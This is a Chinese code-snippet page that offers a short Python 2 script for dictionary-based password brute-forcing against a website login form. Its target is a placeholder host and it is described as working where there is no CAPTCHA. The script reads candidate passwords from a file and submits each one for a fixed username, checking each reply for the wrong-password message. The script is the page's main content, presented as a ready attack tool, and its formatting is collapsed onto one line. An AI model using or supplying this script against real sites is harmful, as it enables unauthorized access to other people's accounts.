使用python进行密码暴力破解,python密码暴力破解,根据字典文件,使用pyt
使用python进行密码暴力破解,python密码暴力破解,根据字典文件,使用pyt
根据字典文件,使用python进行暴力破解,程序很简单
注:针对没有验证码的情况
实例代码:
#encoding=utf-8import httplib,urllibconn = httplib.HTTPConnection("www.xxx.cn")f=open("dict.txt")while 1: pwd=f.readline().strip() if not pwd: print '字典已比对完。' break params = urllib.urlencode({'username': 'xxx', 'mod': '', 'password': pwd}) headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"} conn.request("GET", "/login/aaa.asp", params, headers) r = conn.getresponse() print r.status, r.reason data1 = r.read().decode('gbk')#编码根据实际情况酌情处理 print data1.index(u'您输入的密码有误'),'您输入的密码\'%s\'有误'%pwdconn.close()
相关内容
- python多线程不断刷新网页的代码,python多线程刷新,这段
- python旋转图片的代码,,# rotate an
- 检查网站可用性的Python代码,可用性python代码,#!/usr/b
- python封装的GET&POST请求,python封装GET, #codi
- Python 随机生成中文验证码,python中文验证码,# -*- codi
- python实现汉诺塔,python汉诺塔,def printMov
- 网页界面自动化测试,网页界面自动化,#!/usr/bin/
- python任意进制加法,python进制加法, #!/usr/b
- Python中线程池的实现(三),python线程池实现,# -*- coding
- python多线程模块threading使用范例代码,pythonthreading,#!
评论关闭